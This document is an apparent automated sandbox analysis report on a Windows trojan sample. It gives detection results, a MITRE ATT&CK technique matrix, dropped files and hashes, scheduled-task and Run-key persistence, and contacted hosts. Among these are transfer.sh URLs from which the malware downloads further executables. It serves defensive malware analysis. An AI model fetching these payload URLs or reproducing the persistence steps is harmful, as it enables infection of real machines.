Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Process Injection	1 Masquerading	OS Credential Dumping	13 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 PowerShell	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	11 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	12 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	24%	ReversingLabs	Win64.Trojan.Amadey
SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	26%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\MonDisc.exe	100%	Avira	HEUR/AGEN.1315574
C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	100%	Avira	HEUR/AGEN.1315574
C:\Users\user\AppData\Roaming\MonDisc.exe	54%	ReversingLabs	Win64.Trojan.Lazy
C:\Users\user\AppData\Roaming\MonDisc.exe	56%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	49%	ReversingLabs	Win64.Trojan.Lazy
C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	54%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ip-api.com	208.95.112.1	true	false		high
transfer.sh	144.76.136.153	true	false		high

Contacted URLs

Name	Malicious	Reputation
http://transfer.sh/get/1PRjTr/clip.exe	false	high
https://transfer.sh/get/1h9hjM/LoWin64.exe	false	high
http://ip-api.com/json/?fields=query,status,countryCode,city,timezone	false	high
https://transfer.sh/get/1PRjTr/clip.exe	false	high
http://transfer.sh/get/1h9hjM/LoWin64.exe	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 0000000A.00000002.347490488.0000029368A94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.317857628.0000029358AE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.347490488.000002936895D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.317857628.0000029358AE9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.317857628.0000029358AE9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000A.00000002.347490488.000002936895D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000A.00000002.347490488.0000029368A94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.317857628.0000029358AE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.347490488.000002936895D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000A.00000002.347490488.000002936895D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.347490488.000002936895D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000A.00000002.317857628.00000293588E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.317857628.0000029358AE9000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
185.159.130.81	unknown	Russian Federation	64439	ITOS-ASRU	false
185.149.146.118	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	false
185.159.129.168	unknown	Russian Federation	64439	ITOS-ASRU	false

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	865491
Start date and time:	2023-05-14 04:33:18 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe
Detection:	MAL
Classification:	mal80.troj.evad.winEXE@23/17@4/5
EGA Information:	Successful, ratio: 40%
HDC Information:	Successful, ratio: 74.8% (good quality ratio 65.6%) Quality average: 62.8% Quality standard deviation: 33.5%
HCA Information:	Successful, ratio: 60% Number of executed functions: 110 Number of non-executed functions: 53
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.36.225.122
Excluded domains from analysis (whitelisted): www.microsoft.com-c-3.edgekey.net, fs.microsoft.com, e13678.dscb.akamaiedge.net, www.microsoft.com, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
Execution Graph export aborted for target powershell.exe, PID 2108 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5980 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6672 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:34:44	API Interceptor	88x Sleep call for process: powershell.exe modified
04:35:45	Task Scheduler	Run new task: MonDisc path: C:\Users\user\AppData\Roaming\MonDisc.exe
04:35:50	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MonDisc "C:\Users\user\AppData\Roaming\MonDisc.exe"
04:36:01	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MonDisc "C:\Users\user\AppData\Roaming\MonDisc.exe"

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\clip[1].htm

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	169
Entropy (8bit):	4.51833957423091
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLPfLRIwcWWGu:q43tISl6kXiMIWSU6XlI5LPtIpfGu
MD5:	84855C13836B389D5EC7CFD4C9266173
SHA1:	1CF3056FF23C4176FD7CA9816A000ED461D6D323
SHA-256:	502083C916AE481CDD413B8D93315300653DF5FB3DCC5770C01991DE19977EAE
SHA-512:	2479112004884D42D4FFE1174DC358C5D1B0FA2B41641D32F2FB67539C4F834D63CFBBF7E98C63B9A64E49B26390C410BB7E50F1AD4A755F32D081367AF05FCB
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx/1.18.0</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\json[1].json

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.6071979068611295
Encrypted:	false
SSDEEP:	3:YWR4buWsyLBHm+CUAyROfQ8I5CMt6MXLUMgRnY:YWybuiTuOjbUMgRnY
MD5:	AD4FCD343503CD318D7A6D7032086BC6
SHA1:	1AC93BB281E3AE8FDC9E76538E2FCAA4382B3FAF
SHA-256:	F94BB36FFAF71338729A3491BEAC8423FBA77B93E78077B14029865B5EECA77F
SHA-512:	D16281CB078AEE462F92A44B0C7FB341804A72210F803D81F018BA91D2BB5AABEDF74F8D5E83D2E02BA51DD83DC1FEF455D351C5EA5A87B818DE24F48D17FB24
Malicious:	false
Preview:	{"status":"success","countryCode":"CH","city":"Hunenberg","timezone":"Europe/Zurich","query":"102.129.143.47"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\LoWin64[1].htm

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	169
Entropy (8bit):	4.51833957423091
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLPfLRIwcWWGu:q43tISl6kXiMIWSU6XlI5LPtIpfGu
MD5:	84855C13836B389D5EC7CFD4C9266173
SHA1:	1CF3056FF23C4176FD7CA9816A000ED461D6D323
SHA-256:	502083C916AE481CDD413B8D93315300653DF5FB3DCC5770C01991DE19977EAE
SHA-512:	2479112004884D42D4FFE1174DC358C5D1B0FA2B41641D32F2FB67539C4F834D63CFBBF7E98C63B9A64E49B26390C410BB7E50F1AD4A755F32D081367AF05FCB
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx/1.18.0</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\json[1].json

Download File

Process:	C:\Users\user\AppData\Roaming\MonDisc.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.6071979068611295
Encrypted:	false
SSDEEP:	3:YWR4buWsyLBHm+CUAyROfQ8I5CMt6MXLUMgRnY:YWybuiTuOjbUMgRnY
MD5:	AD4FCD343503CD318D7A6D7032086BC6
SHA1:	1AC93BB281E3AE8FDC9E76538E2FCAA4382B3FAF
SHA-256:	F94BB36FFAF71338729A3491BEAC8423FBA77B93E78077B14029865B5EECA77F
SHA-512:	D16281CB078AEE462F92A44B0C7FB341804A72210F803D81F018BA91D2BB5AABEDF74F8D5E83D2E02BA51DD83DC1FEF455D351C5EA5A87B818DE24F48D17FB24
Malicious:	false
Preview:	{"status":"success","countryCode":"CH","city":"Hunenberg","timezone":"Europe/Zurich","query":"102.129.143.47"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\json[2].json

Download File

Process:	C:\Users\user\AppData\Roaming\MonDisc.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.6071979068611295
Encrypted:	false
SSDEEP:	3:YWR4buWsyLBHm+CUAyROfQ8I5CMt6MXLUMgRnY:YWybuiTuOjbUMgRnY
MD5:	AD4FCD343503CD318D7A6D7032086BC6
SHA1:	1AC93BB281E3AE8FDC9E76538E2FCAA4382B3FAF
SHA-256:	F94BB36FFAF71338729A3491BEAC8423FBA77B93E78077B14029865B5EECA77F
SHA-512:	D16281CB078AEE462F92A44B0C7FB341804A72210F803D81F018BA91D2BB5AABEDF74F8D5E83D2E02BA51DD83DC1FEF455D351C5EA5A87B818DE24F48D17FB24
Malicious:	false
Preview:	{"status":"success","countryCode":"CH","city":"Hunenberg","timezone":"Europe/Zurich","query":"102.129.143.47"}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	18817
Entropy (8bit):	5.001217266823362
Encrypted:	false
SSDEEP:	384:ufib4GGVoGIpN6KQkj2Akjh4iUxGzCdaOdB/NXp5CvOjJEYoV4fib41:uIGV3IpNBQkj25h4iUxGzCdaOdB/NZwY
MD5:	DB93B232EFF0785FDDC28A0D5DAE38D2
SHA1:	AF5AFE47557C49F165F66B2B63962D9EB28E3157
SHA-256:	92939214003421B64153B215D15F89595673C709110FC6E005FF955F6684C390
SHA-512:	5D161CFEE2631553AC2FA8EE407FE4CBA23C9A666BB69049C0FCCBEE99413983C678E4779426532FB4F5E622155C9EFF8DA57CD93AE4453D57301B32C19CBAA9
Malicious:	false
Preview:	PSMODULECACHE......P.e...S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........7r8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5maexcfi.2wq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iawzjmfe.lbd.ps1

